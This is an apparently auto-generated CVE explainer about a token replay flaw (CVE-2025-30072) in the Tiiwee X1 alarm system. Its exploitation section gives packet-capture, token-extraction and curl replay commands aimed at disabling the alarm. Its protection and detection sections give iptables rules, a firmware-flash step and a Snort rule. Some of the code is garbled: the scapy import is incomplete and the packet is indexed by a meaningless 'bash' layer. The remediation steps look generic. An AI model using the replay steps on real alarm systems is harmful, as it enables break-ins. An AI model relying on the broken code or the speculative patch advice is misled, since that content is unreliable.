How CVE-2025-30072 Works
The Tiiwee X1 Alarm System (TWX1HAKV2) suffers from an authentication bypass vulnerability due to improper handling of session tokens. Attackers can intercept unencrypted communication between the alarm panel and remote management interface, capturing valid authentication tokens. These tokens can be replayed to bypass authentication and gain full system control. The system fails to implement token expiration or one-time-use mechanisms, allowing indefinite reuse of stolen credentials. No cryptographic signing or timestamp validation is performed on command packets.
DailyCVE Form:
Platform: Tiiwee X1 Alarm
Version: TWX1HAKV2
Vulnerability: Replay Attack
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation:
1. Packet Capture:
tcpdump -i eth0 -w tiiwee_capture.pcap host <ALARM_IP>
2. Token Extraction:
from scapy.all import
packets = rdpcap("tiiwee_capture.pcap")
auth_tokens = [pkt[bash].load for pkt in packets if b"Auth=" in bytes(pkt[bash])]
3. Replay Attack:
curl -H "Authorization: Token ${stolen_token}" http://<ALARM_IP>/disable_alarm
Protection:
1. Network Segmentation:
iptables -A INPUT -s <TRUSTED_IP> -p tcp --dport 443 -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP
2. Firmware Patch:
wget https://tiiwee.com/patches/twx1hakv2_2.1.3.bin flashrom -w twx1hakv2_2.1.3.bin
3. Encryption Enforcement:
server {
listen 443 ssl;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
}
Detection:
1. Log Monitoring:
grep "Invalid token" /var/log/tiiwee/auth.log
2. IDS Rule (Snort):
alert tcp any any -> $HOME_NET 443 (msg:"Tiiwee Token Replay"; content:"Auth="; nocase; threshold:type threshold, track by_src, count 5, seconds 60; sid:1000001;)
Forensic Analysis:
strings /dev/mtd3 | grep -A 10 "last_auth"
Mitigation Timeline:
- Immediate: Disable remote management.
- 1 Week: Rotate all API keys.
- 1 Month: Deploy hardware-based HSMs for token signing.
